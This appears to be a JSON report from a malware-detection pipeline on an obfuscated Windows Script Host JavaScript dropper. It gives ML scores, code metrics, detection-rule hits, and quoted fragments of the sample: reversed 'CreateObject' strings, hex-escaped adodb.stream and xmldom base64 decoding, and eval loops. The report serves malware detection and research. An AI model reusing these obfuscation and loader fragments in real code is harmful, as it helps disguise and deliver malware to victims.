{
  "ml": {
    "v": "5",
    "fs": [
      {
        "id": 0,
        "prob": 1.0,
        "class": 2,
        "threshold": 0.9984939694404602
      }
    ],
    "prob": 1.0,
    "class": 2,
    "level": 3,
    "models": [
      {
        "m": "az",
        "prob": 0.8911782,
        "class": 0
      },
      {
        "m": "az/scripts",
        "prob": 0.98502994,
        "class": 0
      },
      {
        "m": "az/javascript",
        "prob": 1.0,
        "class": 2
      }
    ],
    "version": "v17.17",
    "threshold": 0.99849397,
    "analyzed_at": "2026-05-31T09:47:04Z"
  },
  "path": "13599e3f5c9b3b4438f858e8dd2eceaecb4bbc8ae92163f449ddf3b5a35dfafb.js",
  "raw": {
    "v": "5",
    "fs": [
      {
        "f": "O(As₃)Md",
        "x": 41,
        "ff": {
          "i": [
            [
              "",
              "String.prototype.proc"
            ],
            [
              "",
              "eval"
            ],
            [
              "",
              "String.prototype.reverse"
            ],
            [
              "",
              "\\u0072\\u0046\\u0032\\u0061\\u0056\\u0063\\u006f\\u006e\\u0076\\u0052"
            ],
            [
              "",
              "\"tcejbOetaerC\".reverse"
            ],
            [
              "",
              "\"txeTdaeR|\".reverse"
            ],
            [
              "",
              "\"noitisoP\".reverse"
            ],
            [
              "",
              "\"nepO|epyT|\".reverse"
            ],
            [
              "",
              "'String[\"prototype\"].oS3Hm = function(){return [].s0fStu;}'.proc"
            ],
            [
              "",
              "exp"
            ],
            [
              "",
              "sb168"
            ],
            [
              "",
              "Array.prototype.s0fStu"
            ],
            [
              "",
              "Array"
            ],
            [
              "",
              "rF2aVconvR.i"
            ],
            [
              "",
              "String.prototype.j4p4N"
            ],
            [
              "",
              "exact"
            ],
            [
              "",
              "\"46esab.nib\".reverse"
            ],
            [
              "",
              "eval"
            ]
          ],
          "m": {
            "ast": {
              "max_depth": 14.0,
              "bind_count": 12.0,
              "call_count": 18.0,
              "node_count": 535.0,
              "member_count": 6.0,
              "identifier_count": 20.0,
              "member_depth_max": 3.0,
              "string_literal_count": 23.0,
              "array_literal_max_length": 2.0,
              "string_concat_chain_max_length": 5.0
            },
            "file": {
              "size": 861503.0,
              "entropy": 4.69,
              "size_bytes": 861503.0
            },
            "text": {
              "tab_count": 35.0,
              "digit_ratio": 0.23,
              "space_count": 94.0,
              "total_lines": 27.0,
              "char_entropy": 4.69,
              "unique_chars": 83.0,
              "escape_density": 0.01,
              "lines_over_200": 2.0,
              "lines_over_500": 1.0,
              "string_density": 0.85,
              "avg_line_length": 31906.56,
              "lines_over_1000": 1.0,
              "max_line_length": 859522.0,
              "empty_line_ratio": 0.22,
              "hex_escape_count": 52.0,
              "last_line_length": 157.0,
              "long_token_count": 4.0,
              "whitespace_ratio": 0.0,
              "most_common_ratio": 0.08,
              "identifier_density": 1.96,
              "line_length_stddev": 162308.77,
              "unicode_escape_count": 10.0,
              "normalized_string_count": 4.43,
              "suspicious_string_ratio": 0.17,
              "most_common_char_is_null": 0.0,
              "max_inline_whitespace_run": 1.0,
              "trailing_whitespace_lines": 2.0,
              "most_common_char_codepoint": 48.0,
              "suspicious_identifier_ratio": 0.15,
              "normalized_unique_identifiers": 4.21
            },
            "binds": {
              "count": 12.0
            },
            "calls": {
              "count": 18.0
            },
            "members": {
              "count": 6.0
            },
            "strings": {
              "total": 23.0,
              "avg_length": 37425.3,
              "max_length": 859494.0,
              "avg_entropy": 3.65,
              "empty_count": 2.0,
              "total_bytes": 860782.0,
              "entropy_stddev": 1.22,
              "very_long_strings": 1.0,
              "high_entropy_count": 2.0,
              "unicode_heavy_strings": 2.0,
              "embedded_code_candidates": 4.0
            },
            "functions": {
              "anonymous": 2.0,
              "one_liners": 2.0,
              "no_params_count": 2.0,
              "avg_length_lines": 1.0,
              "max_length_lines": 1.0,
              "min_length_lines": 1.0,
              "density_per_100_lines": 7.41,
              "code_in_functions_ratio": 0.07
            },
            "identifiers": {
              "count": 20.0,
              "total": 53.0,
              "avg_length": 8.15,
              "max_length": 60.0,
              "min_length": 1.0,
              "avg_entropy": 2.12,
              "reuse_ratio": 0.38,
              "unique_count": 20.0,
              "length_stddev": 12.1,
              "has_digit_ratio": 0.3,
              "sequential_names": 2.0,
              "base64_like_names": 1.0,
              "single_char_count": 2.0,
              "single_char_ratio": 0.1,
              "all_lowercase_ratio": 0.55,
              "numeric_suffix_count": 3.0
            }
          },
          "s": [
            [
              121,
              "10",
              "0"
            ],
            [
              185,
              "10",
              "1"
            ],
            [
              281,
              "u8",
              "tcejbOetaerC"
            ],
            [
              282,
              "u8",
              "tcejbOetaerC"
            ],
            [
              306,
              "u8",
              "txeTdaeR|"
            ],
            [
              307,
              "u8",
              "txeTdaeR|"
            ],
            [
              328,
              "u8",
              "|undefined|\\x61\\x64\\x6F\\x64\\x62\\x2E|\\x43\\x68\\x61\\x72\\x53\\x65\\x74|"
            ],
            [
              329,
              "u8",
              "|undefined|"
            ],
            [
              364,
              "u8",
              "|"
            ],
            [
              393,
              "u8",
              "|"
            ],
            [
              396,
              "u8",
              "noitisoP"
            ],
            [
              397,
              "u8",
              "noitisoP"
            ],
            [
              417,
              "u8",
              "nepO|epyT|"
            ],
            [
              418,
              "u8",
              "nepO|epyT|"
            ],
            [
              447,
              "u8",
              "|"
            ],
            [
              448,
              "u8",
              "|"
            ],
            [
              455,
              "u8",
              "String[\"prototype\"].oS3Hm = function(){return [].s0fStu;}"
            ],
            [
              456,
              "u8",
              "String[\"prototype\"].oS3Hm = function(){return [].s0fStu;}"
            ],
            [
              562,
              "u8",
              "Array.prototype.om0l4d3 = function() {var hYiUrF = arguments; return this[0][\"replace\"](exp, function(k3tTlE0, k3tTlE1) { try{\tr"
            ],
            [
              563,
              "u8",
              "Array.prototype.om0l4d3 = function() {var hYiUrF = arguments; return this[0][\"replace\"](exp, function(k3tTlE0, k3tTlE1) { try{\tr"
            ],
            [
              860289,
              "10",
              "2"
            ],
            [
              860300,
              "u8",
              "rF2aVconvR[4]()[rF2aVconvR[1][6]] = 1;rF2aVconvR[4]()[rF2aVconvR[1][7]]();rF2aVconvR[4]()[\\\"Writ\\\"+\\\"e\\\"](rF2aVconvR[3][1]['node"
            ],
            [
              860301,
              "u8",
              "rF2aVconvR[4]()[rF2aVconvR[1][6]] = 1;rF2aVconvR[4]()[rF2aVconvR[1][7]]();rF2aVconvR[4]()["
            ],
            [
              860393,
              "u8",
              "Writ"
            ],
            [
              860399,
              "u8",
              "+"
            ],
            [
              860402,
              "u8",
              "e"
            ],
            [
              860405,
              "u8",
              "](rF2aVconvR[3][1]['nodeTypedValue']);"
            ],
            [
              860452,
              "u8",
              "rF2aVconvR[4]()[rF2aVconvR[1][5]] = 0;rF2aVconvR[4]()[rF2aVconvR[1][6]] = 2;"
            ],
            [
              860453,
              "u8",
              "rF2aVconvR[4]()[rF2aVconvR[1][5]] = 0;rF2aVconvR[4]()[rF2aVconvR[1][6]] = 2;"
            ],
            [
              860538,
              "u8",
              "rF2aVconvR[4]()[rF2aVconvR[1][4]] = rF2aVconvR[3][2][0];"
            ],
            [
              860539,
              "u8",
              "rF2aVconvR[4]()[rF2aVconvR[1][4]] = rF2aVconvR[3][2][0];"
            ],
            [
              860618,
              "u8",
              "sb168 = [Array(WSH[rF2aVconvR[1][0]]([\"\\x61\\x64{0}\\x62\\x2E{1}\\x72\\x65{2}\"].om0l4d3(\"\\x6F\\x64\", \"\\x73\\x74\", \"\\x61\\x6D\")),WSH[rF2a"
            ],
            [
              860619,
              "u8",
              "sb168 = [Array(WSH[rF2aVconvR[1][0]](["
            ],
            [
              860666,
              "u8",
              "{0}"
            ],
            [
              860677,
              "u8",
              "{1}"
            ],
            [
              860688,
              "u8",
              "{2}\"].om0l4d3("
            ],
            [
              860711,
              "u8",
              ", "
            ],
            [
              860723,
              "u8",
              ", "
            ],
            [
              860735,
              "u8",
              ")),WSH[rF2aVconvR[1][0]]("
            ],
            [
              860826,
              "u8",
              ")[Array(\"create"
            ],
            [
              860850,
              "u8",
              ","
            ],
            [
              860857,
              "u8",
              ","
            ],
            [
              860868,
              "u8",
              ").join("
            ],
            [
              860881,
              "u8",
              ")](\"bst\"),[\"us-"
            ],
            [
              860917,
              "u8",
              "]),function(){return rF2aVconvR[3][0];},function(){for(var p=0; p\u003crF2aVconvR[2].length; p++){eval(rF2aVconvR[2][p]);}}];"
            ],
            [
              861068,
              "10",
              "3"
            ],
            [
              861073,
              "10",
              "6"
            ],
            [
              861109,
              "10",
              "3"
            ],
            [
              861142,
              "u8",
              "rF2aVconvR = [eval, rF2aVconvR[4](), [rF2aVconvR[1][1]]];"
            ],
            [
              861143,
              "u8",
              "rF2aVconvR = [eval, rF2aVconvR[4](), [rF2aVconvR[1][1]]];"
            ],
            [
              861203,
              "u8",
              "dataType"
            ],
            [
              861204,
              "u8",
              "dataType"
            ],
            [
              861239,
              "10",
              "3"
            ],
            [
              861242,
              "10",
              "1"
            ],
            [
              861254,
              "10",
              "1"
            ],
            [
              861260,
              "u8",
              "46esab.nib"
            ],
            [
              861261,
              "u8",
              "46esab.nib"
            ],
            [
              861290,
              "u8",
              "var tmx = [\"JuOP99\".oS3Hm()].om0l4d3(\"D\", \"n\", \"Z\")"
            ],
            [
              861291,
              "u8",
              "var tmx = [\"JuOP99\".oS3Hm()].om0l4d3(\"D\", \"n\", \"Z\")"
            ],
            [
              861347,
              "u8",
              "rF2aVconvR[3][1][\"text\\\"] = tmx;rF2aVconv{0}4N[0];rF2aVconv{1}rF2aVconv{2}]());"
            ],
            [
              861348,
              "u8",
              "rF2aVconvR[3][1][\"text"
            ],
            [
              861372,
              "u8",
              "] = tmx;rF2aVconv{0}4N[0];rF2aVconv{1}rF2aVconv{2}]());"
            ],
            [
              861438,
              "u8",
              "R[2][3] = \"\".j4p"
            ],
            [
              861439,
              "u8",
              "R[2][3] = \"\".j4p"
            ],
            [
              861458,
              "u8",
              "R[5]();eval(rF2aVconvR[1]["
            ],
            [
              861459,
              "u8",
              "R[5]();eval(rF2aVconvR[1]["
            ],
            [
              861488,
              "u8",
              "R[2]"
            ],
            [
              861489,
              "u8",
              "R[2]"
            ],
            [
              206,
              "unicode-escape",
              "var rF2aVconvR = [null,"
            ],
            [
              280,
              "unicode-escape",
              "(\"tcejbOetaerC\".reverse()+\"txeTdaeR|\".reverse()+\"|undefined|adodb.|CharSet|\"+\"noitisoP\".reverse()+\"nepO|epyT|\".reverse()).split("
            ],
            [
              755,
              "base64",
              "Tpr + kTVkcxm[18]);\r\n} else{\r\nGrabJr"
            ],
            [
              860618,
              "unicode-escape",
              "'sb168 = [Array(WSH[rF2aVconvR[1][0]]([\"ad{0}b.{1}re{2}\"].om0l4d3(\"od\", \"st\", \"am\")),WSH[rF2aVconvR[1][0]](\"microsoft.xmldom\")[A"
            ]
          ],
          "v": {
            "file.stem": "13599e3f5c9b3b4438f858e8dd2eceaecb4bbc8ae92163f449ddf3b5a35dfafb",
            "file.basename": "13599e3f5c9b3b4438f858e8dd2eceaecb4bbc8ae92163f449ddf3b5a35dfafb.js",
            "source.language": "javascript",
            "source.imports[0]": "\"46esab.nib\".reverse",
            "source.imports[1]": "\"nepO|epyT|\".reverse",
            "source.imports[2]": "\"noitisoP\".reverse",
            "source.imports[3]": "\"tcejbOetaerC\".reverse",
            "source.imports[4]": "\"txeTdaeR|\".reverse",
            "source.imports[5]": "'String[\"prototype\"].oS3Hm = function(){return [].s0fStu;}'.proc",
            "source.imports[6]": "Array",
            "source.imports[7]": "Array.prototype.s0fStu",
            "source.imports[8]": "String.prototype.j4p4N",
            "source.imports[9]": "String.prototype.proc",
            "source.strings[0]": "'sb168 = [Array(WSH[rF2aVconvR[1][0]]([\"ad{0}b.{1}re{2}\"].om0l4d3(\"od\", \"st\", \"am\")),WSH[rF2aVconvR[1][0]](\"microsoft.xmldom\")[Array(\"createEl\",\"m\",\"nt\").join(\"e\")](\"bst\"),[\"us-ascii\"]),function(){return rF2aVconvR[3][0];},function(){for(var p=0; p\u003crF2aVconvR[2].length; p++){eval(rF2aVconvR[2][p]);}}];'.proc();",
            "source.strings[1]": "(\"tcejbOetaerC\".reverse()+\"txeTdaeR|\".reverse()+\"|undefined|adodb.|CharSet|\"+\"noitisoP\".reverse()+\"nepO|epyT|\".reverse()).split(\"|\")];",
            "source.strings[2]": ")),WSH[rF2aVconvR[1][0]](",
            "source.strings[3]": ").join(",
            "source.strings[4]": ")[Array(\"create",
            "source.strings[5]": ")](\"bst\"),[\"us-",
            "source.strings[6]": "46esab.nib",
            "source.strings[7]": "Array.prototype.om0l4d3 = function() {var hYiUrF = arguments; return this[0][\"replace\"](exp, function(k3tTlE0, k3tTlE1) { try{\treturn hYiUrF[k3tTlE1];}catch(ex){\treturn k3tTlE0;}});}",
            "source.strings[8]": "R[2][3] = \"\".j4p",
            "source.strings[9]": "R[5]();eval(rF2aVconvR[1][",
            "source.has_imports": true,
            "source.imports[10]": "String.prototype.reverse",
            "source.imports[11]": "\\u0072\\u0046\\u0032\\u0061\\u0056\\u0063\\u006f\\u006e\\u0076\\u0052",
            "source.imports[12]": "eval",
            "source.imports[13]": "exact",
            "source.imports[14]": "exp",
            "source.imports[15]": "rF2aVconvR.i",
            "source.imports[16]": "sb168",
            "source.strings[10]": "String[\"prototype\"].oS3Hm = function(){return [].s0fStu;}",
            "source.strings[11]": "Tpr + kTVkcxm[18]);\r\n} else{\r\nGrabJr",
            "source.strings[12]": "] = tmx;rF2aVconv{0}4N[0];rF2aVconv{1}rF2aVconv{2}]());",
            "source.strings[13]": "](rF2aVconvR[3][1]['nodeTypedValue']);",
            "source.strings[14]": "]),function(){return rF2aVconvR[3][0];},function(){for(var p=0; p\u003crF2aVconvR[2].length; p++){eval(rF2aVconvR[2][p]);}}];",
            "source.strings[15]": "dataType",
            "source.strings[16]": "nepO|epyT|",
            "source.strings[17]": "noitisoP",
            "source.strings[18]": "rF2aVconvR = [eval, rF2aVconvR[4](), [rF2aVconvR[1][1]]];",
            "source.strings[19]": "rF2aVconvR[3][1][\"text",
            "source.strings[20]": "rF2aVconvR[3][1][\"text\\\"] = tmx;rF2aVconv{0}4N[0];rF2aVconv{1}rF2aVconv{2}]());",
            "source.strings[21]": "rF2aVconvR[4]()[rF2aVconvR[1][4]] = rF2aVconvR[3][2][0];",
            "source.strings[22]": "rF2aVconvR[4]()[rF2aVconvR[1][5]] = 0;rF2aVconvR[4]()[rF2aVconvR[1][6]] = 2;",
            "source.strings[23]": "rF2aVconvR[4]()[rF2aVconvR[1][6]] = 1;rF2aVconvR[4]()[rF2aVconvR[1][7]]();rF2aVconvR[4]()[",
            "source.strings[24]": "rF2aVconvR[4]()[rF2aVconvR[1][6]] = 1;rF2aVconvR[4]()[rF2aVconvR[1][7]]();rF2aVconvR[4]()[\\\"Writ\\\"+\\\"e\\\"](rF2aVconvR[3][1]['nodeTypedValue']);",
            "source.strings[25]": "sb168 = [Array(WSH[rF2aVconvR[1][0]]([",
            "source.strings[26]": "sb168 = [Array(WSH[rF2aVconvR[1][0]]([\"\\x61\\x64{0}\\x62\\x2E{1}\\x72\\x65{2}\"].om0l4d3(\"\\x6F\\x64\", \"\\x73\\x74\", \"\\x61\\x6D\")),WSH[rF2aVconvR[1][0]](\"\\x6D\\x69\\x63\\x72\\x6F\\x73\\x6F\\x66\\x74\\x2E\\x78\\x6D\\x6C\\x64\\x6F\\x6D\")[Array(\"create\\x45\\x6C\",\"\\x6D\",\"\\x6E\\x74\").join(\"\\x65\")](\"bst\"),[\"us-\\x61\\x73\\x63\\x69\\x69\"]),function(){return rF2aVconvR[3][0];},function(){for(var p=0; p\u003crF2aVconvR[2].length; p++){eval(rF2aVconvR[2][p]);}}];",
            "source.strings[27]": "tcejbOetaerC",
            "source.strings[28]": "txeTdaeR|",
            "source.strings[29]": "var rF2aVconvR = [null,",
            "source.strings[30]": "var tmx = [\"JuOP99\".oS3Hm()].om0l4d3(\"D\", \"n\", \"Z\")",
            "source.strings[31]": "{2}\"].om0l4d3(",
            "source.strings[32]": "|undefined|",
            "source.strings[33]": "|undefined|\\x61\\x64\\x6F\\x64\\x62\\x2E|\\x43\\x68\\x61\\x72\\x53\\x65\\x74|",
            "source.functions[0]": "anonymous"
          },
          "ct": [
            "Array",
            "eval"
          ],
          "id": "javascript",
          "mc": [
            "Array.prototype",
            "Array.prototype.s0fStu",
            "String.prototype",
            "String.prototype.j4p4N",
            "String.prototype.proc",
            "String.prototype.reverse"
          ]
        },
        "id": 0,
        "sz": 861503,
        "ts": [
          {
            "c": 0.550000011920929,
            "d": "Array element swap pattern",
            "e": [
              "var exact = rF2aVconvR[3][1][\"\".j4p4N[1]] ="
            ],
            "i": "objectives/anti-static/obfuscation/string/encoding::js-array-swap",
            "l": 1,
            "m": "B0032"
          },
          {
            "c": 0.8999999761581421,
            "d": "Nested loops with multiple charAt calls",
            "e": [
              "for(var p=0; p\u003crF2aVconvR[2].length; p++){eval(rF2aVconvR[2][p]);}}];'.proc();\n\t\t\n\t\t\t\t\t\t\nfor(var i=3; i\u003c6; i++){"
            ],
            "i": "micro-behaviors/data/encode/permutation/loop::js-permutation-loop",
            "l": 2
          },
          {
            "c": 0.949999988079071,
            "d": "Reversed CreateObject string",
            "e": [
              "tcejbOetaerC"
            ],
            "i": "objectives/anti-static/obfuscation/string/conceal::js-createobject-reversed",
            "l": 4,
            "el": [
              "0x119"
            ]
          },
          {
            "c": 1.0,
            "d": "Loop structure",
            "e": [
              "for("
            ],
            "i": "micro-behaviors/data/encode/xor::js-loop",
            "l": 2,
            "el": [
              "0xd21ca"
            ]
          },
          {
            "a": "T1027",
            "c": 0.8999999761581421,
            "d": "Exactly one line exceeds 1000 chars",
            "e": [
              "text.lines_over_1000 = 1.00"
            ],
            "i": "objectives/anti-static/obfuscation/code-metrics/structure::single-long-line-outlier",
            "l": 1,
            "m": "B0032"
          },
          {
            "a": "T1027",
            "c": 0.949999988079071,
            "d": "Regex component marker",
            "e": [
              ").join"
            ],
            "i": "objectives/anti-static/obfuscation/string/reverse::js-reverse-then-eval--rx-12",
            "l": 1,
            "m": "B0032"
          },
          {
            "d": "catch handler keyword",
            "e": [
              "catch"
            ],
            "i": "metadata/package/error-handling::catch-keyword",
            "l": 2,
            "el": [
              "0x232"
            ]
          },
          {
            "c": 0.9200000166893005,
            "d": "Large minified JavaScript bundle",
            "e": [
              "text.max_line_length = 859522.00"
            ],
            "i": "metadata/library/structure::js-large-minified-bundle",
            "l": 2
          },
          {
            "c": 0.8199999928474426,
            "d": "Array literal joined with empty string",
            "e": [
              "R[2]",
              "['rF2aVconvR[3][1][\"text\\\"] = tmx;rF2aVconv{0}4N[0];rF2aVconv{1}rF2aVconv{2}]());']",
              "om0l4d3",
              "R[2][3] = \"\".j4p",
              "R[5]();eval(rF2aVconvR[1]["
            ],
            "i": "objectives/execution/interpreter/scripting/host::array-join-empty-string-ast",
            "l": 1,
            "el": [
              "27:144",
              "27:1",
              "27:85",
              "27:94",
              "27:114"
            ]
          },
          {
            "c": 1.0,
            "d": "Plain JavaScript identifier assignment",
            "e": [
              "sb168 = null;"
            ],
            "i": "metadata/lang/scripted::plain-js-identifier-assignment",
            "l": 1
          },
          {
            "c": 0.8999999761581421,
            "d": "Very long line",
            "e": [
              "text.max_line_length = 859522.00"
            ],
            "i": "metadata/file/text/metrics::single-long-line",
            "l": 1
          },
          {
            "c": 0.8199999928474426,
            "d": "JavaScript static key string assignment",
            "e": [
              "= 'dmFyIGtUVmtjeG0gPSBbIlx4NTVce{0}Q1XHg3M1x4N{0}Rce{0}QyXHg0Mlx4NTFce{0}IxXHgyMVx4MjNce{0}QzXHgyMVx4MjFce{0}IzXHg2N1x4N{0}lce{0"
            ],
            "i": "micro-behaviors/crypto/symmetric/aes/library::js-static-key-string-assignment",
            "l": 1
          },
          {
            "a": "T1195.002",
            "c": 0.949999988079071,
            "d": "A single line exceeds 50,000 characters",
            "e": [
              "text.max_line_length = 859522.00"
            ],
            "i": "objectives/supply-chain/hidden-payload/runtime::high-max-line-length",
            "l": 1
          },
          {
            "c": 1.0,
            "d": "JavaScript undefined literal",
            "e": [
              "undefined"
            ],
            "i": "metadata/lang/scripted::undefined-literal",
            "l": 1
          },
          {
            "c": 1.0,
            "d": "toString method token",
            "e": [
              "toString"
            ],
            "i": "micro-behaviors/data/encode/tostring::tostring-token",
            "l": 1
          },
          {
            "c": 0.30000001192092896,
            "d": "for loop (content)",
            "e": [
              ";for("
            ],
            "i": "micro-behaviors/data/control-flow/analysis::for-loop-content",
            "l": 2
          },
          {
            "c": 1.0,
            "d": ".toString() method call",
            "e": [
              ".toString()"
            ],
            "i": "micro-behaviors/data/encode/tostring::tostring-call",
            "l": 1
          },
          {
            "c": 0.30000001192092896,
            "d": "for loop (AST)",
            "e": [
              "for(var i=0; i\u003cthis.toString().length; i++){d = this.toString().substr(i, 1) + d;}",
              "for(var i=3; i\u003c6; i++){\n\trF2aVconvR[i] = sb168[i - 3];\n}"
            ],
            "i": "micro-behaviors/data/control-flow/analysis::for-loop-ast",
            "l": 2,
            "el": [
              "2:50",
              "19:1"
            ]
          },
          {
            "a": "T1027",
            "c": 0.9300000071525574,
            "d": "Regex component marker",
            "e": [
              ".split("
            ],
            "i": "objectives/anti-static/obfuscation/string/reverse::js-reverse-split-then-decode--rx-4",
            "l": 1,
            "m": "B0032"
          },
          {
            "c": 0.8999999761581421,
            "d": "Low string density in source",
            "e": [
              "text.string_density = 0.85"
            ],
            "i": "metadata/file/text/metrics::low-string-density-large-file",
            "l": 1
          },
          {
            "c": 1.0,
            "d": "JavaScript length property",
            "e": [
              "length"
            ],
            "i": "metadata/lang/scripted::length-prop",
            "l": 1
          },
          {
            "a": "T1027.002",
            "c": 0.8999999761581421,
            "d": "LZString decoded value split call",
            "e": [
              ").split(\"|\")"
            ],
            "i": "objectives/anti-static/obfuscation/string/encoding::js-lzstring-table-split-call",
            "l": 1,
            "m": "B0032"
          },
          {
            "a": "T1027",
            "c": 0.9300000071525574,
            "d": "Regex component marker",
            "e": [
              ").join"
            ],
            "i": "objectives/anti-static/obfuscation/string/reverse::js-decode-then-reverse-split--rx-8",
            "l": 1,
            "m": "B0032"
          },
          {
            "a": "T1195.002",
            "c": 1.0,
            "d": "Loop construct (for/while)",
            "e": [
              "for("
            ],
            "i": "objectives/supply-chain/hidden-payload/staging::loop-construct",
            "l": 1,
            "el": [
              "0xd21ca"
            ]
          },
          {
            "c": 0.949999988079071,
            "d": "JavaScript or TypeScript basename",
            "e": [
              "13599e3f5c9b3b4438f858e8dd2eceaecb4bbc8ae92163f449ddf3b5a35dfafb.js"
            ],
            "i": "metadata/lang/source::js-ts-source-basename",
            "l": 2
          },
          {
            "c": 0.8399999737739563,
            "d": "ANSI terminal erase operation",
            "e": [
              "[k"
            ],
            "i": "micro-behaviors/ui/terminal::ansi-erase-op",
            "l": 1
          },
          {
            "c": 0.949999988079071,
            "d": "eval/new Function call (flatted tamper fragment)",
            "e": [
              "eval("
            ],
            "i": "well-known/lib/flatted::flatted-tamper-eval",
            "l": 1
          },
          {
            "a": "T1027",
            "c": 0.949999988079071,
            "d": "Regex component marker",
            "e": [
              ".split("
            ],
            "i": "objectives/anti-static/obfuscation/string/reverse::js-reverse-then-eval--rx-13",
            "l": 1,
            "m": "B0032"
          },
          {
            "c": 0.8399999737739563,
            "d": "Regex component marker",
            "e": [
              "join("
            ],
            "i": "micro-behaviors/fs/file/read::require-cwd-package-json--rx-4",
            "l": 1
          },
          {
            "c": 0.9700000286102295,
            "d": "Validation vocabulary string",
            "e": [
              "String"
            ],
            "i": "metadata/file/text/format::vocab-string",
            "l": 1
          },
          {
            "a": "T1027.010",
            "d": "Custom base64 decode lookup table",
            "e": [
              "}RyeXsNCmlmKGhXdmN3cVFwRVUgPT0gIiIpew0KaFd2Y3dxUXBFVSA9IHl2RGtUQl{"
            ],
            "i": "micro-behaviors/data/encode/base64::decode-table",
            "l": 2,
            "m": "B0032.001"
          },
          {
            "a": "T1027",
            "c": 0.9300000071525574,
            "d": "Regex component marker",
            "e": [
              ").join"
            ],
            "i": "objectives/anti-static/obfuscation/string/reverse::js-reverse-split-then-decode--rx-3",
            "l": 1,
            "m": "B0032"
          },
          {
            "a": "T1027",
            "c": 0.9300000071525574,
            "d": "Regex component marker",
            "e": [
              ".split("
            ],
            "i": "objectives/anti-static/obfuscation/string/reverse::js-decode-then-reverse-split--rx-9",
            "l": 1,
            "m": "B0032"
          },
          {
            "c": 1.0,
            "d": "JavaScript file basename",
            "e": [
              "13599e3f5c9b3b4438f858e8dd2eceaecb4bbc8ae92163f449ddf3b5a35dfafb.js"
            ],
            "i": "metadata/lang/encoded/unicode-escape::javascript-or-dll-basename",
            "l": 1
          },
          {
            "c": 0.9700000286102295,
            "d": "Validation vocabulary array",
            "e": [
              "Array"
            ],
            "i": "metadata/file/text/format::vocab-array",
            "l": 1
          },
          {
            "c": 0.8999999761581421,
            "d": "Medium minified JavaScript line",
            "e": [
              "text.max_line_length = 859522.00"
            ],
            "i": "metadata/library/structure::js-medium-minified-line",
            "l": 1
          },
          {
            "c": 0.8799999952316284,
            "d": "Indirect bracketed WScript command invocation",
            "e": [
              "this[0][\"replace\"](exp, function(k3tTlE0, k3tTlE1)"
            ],
            "i": "micro-behaviors/process/create/shell/wsh::wscript-shell-run-indirect",
            "l": 1
          },
          {
            "c": 1.0,
            "d": "Obfuscated String method call (String[...])",
            "e": [
              "String["
            ],
            "i": "micro-behaviors/data/source/syntax/keyword::js-obfuscated-string-method",
            "l": 2
          },
          {
            "a": "T1027",
            "c": 0.8799999952316284,
            "d": "Single-line packed JavaScript loader profile",
            "e": [
              "text.max_line_length = 859522.00"
            ],
            "i": "objectives/supply-chain/hidden-payload/trojan::single-line-packed-loader-metrics",
            "l": 1,
            "m": "B0032"
          },
          {
            "d": "Array reverse method",
            "e": [
              ".reverse()"
            ],
            "i": "objectives/anti-static/obfuscation/string/encoding::js-array-reverse",
            "l": 2
          },
          {
            "c": 0.800000011920929,
            "d": "Property access via hex-escaped string in brackets",
            "e": [
              "[\"\\x61\\x64{0}\\x62\\x2E{1}\\x72\\x65{2}\"]"
            ],
            "i": "objectives/anti-static/obfuscation/string/dynamic::hex-escaped-bracket-property",
            "l": 4
          },
          {
            "c": 0.800000011920929,
            "d": "String.prototype extension",
            "e": [
              "String.prototype.proc = function"
            ],
            "i": "objectives/anti-static/obfuscation/syntax::js-prototype-extension",
            "l": 1
          },
          {
            "a": "T1027",
            "c": 0.800000011920929,
            "d": "Interspersed hex escape sequences",
            "e": [
              "\\x61\\x64{0}\\x62\\x2E{1}\\x72\\x6",
              "\\x61\\x64\\x6F\\x64\\x6"
            ],
            "i": "objectives/anti-static/obfuscation/string/encoding::js-interspersed-hex-escapes",
            "l": 3,
            "m": "B0032",
            "el": [
              "0xd21ca",
              "0x148"
            ]
          },
          {
            "a": "T1027",
            "c": 0.699999988079071,
            "d": "Very low whitespace ratio (minified/compressed)",
            "e": [
              "text.whitespace_ratio = 0.00"
            ],
            "i": "objectives/anti-static/obfuscation/code-metrics/structure::low-whitespace",
            "l": 2,
            "m": "B0032"
          },
          {
            "a": "T1027",
            "d": "Decoded property function alias",
            "e": [
              "var exact = rF2aVconvR[3]"
            ],
            "i": "objectives/supply-chain/hidden-payload/trojan::decoded-property-function-alias",
            "l": 1,
            "m": "B0032"
          },
          {
            "c": 0.8999999761581421,
            "d": "Prototype guard keyword",
            "e": [
              "prototype"
            ],
            "i": "micro-behaviors/data/source/prototype::js-proto-guard-prototype",
            "l": 2
          },
          {
            "c": 0.75,
            "d": "Code has try-catch error handling",
            "e": [
              "try{\treturn hYiUrF[k3tTlE1];}catch"
            ],
            "i": "metadata/package/quality::has-try-catch",
            "l": 2,
            "el": [
              "0x232"
            ]
          },
          {
            "c": 0.8999999761581421,
            "d": "Decoded unicode-escape content",
            "e": [
              "(\"tcejbOetaerC\".reverse()+\"txeTdaeR|\".re \u003cunicode-escape\u003e",
              "'sb168 = [Array(WSH[rF2aVconvR[1][0]]([\" \u003cunicode-escape\u003e"
            ],
            "i": "metadata/encoded-payload/unicode-escape",
            "l": 2,
            "el": [
              "offset:280",
              "offset:860618"
            ]
          },
          {
            "c": 0.8999999761581421,
            "d": "Encoded payload detected: base64",
            "e": [
              "Tpr + kTVkcxm[18]); } else{ GrabJr \u003cbase64\u003e"
            ],
            "i": "metadata/encoded-payload/base64",
            "l": 3,
            "el": [
              "offset:755"
            ]
          }
        ],
        "sha": "13599e3f5c9b3b4438f858e8dd2eceaecb4bbc8ae92163f449ddf3b5a35dfafb",
        "path": "/data/samples/bad/datasets/various/datalake.abuse.ch/2022-07/13599e3f5c9b3b4438f858e8dd2eceaecb4bbc8ae92163f449ddf3b5a35dfafb.js",
        "type": "javascript"
      }
    ],
    "tv": "52045"
  }
}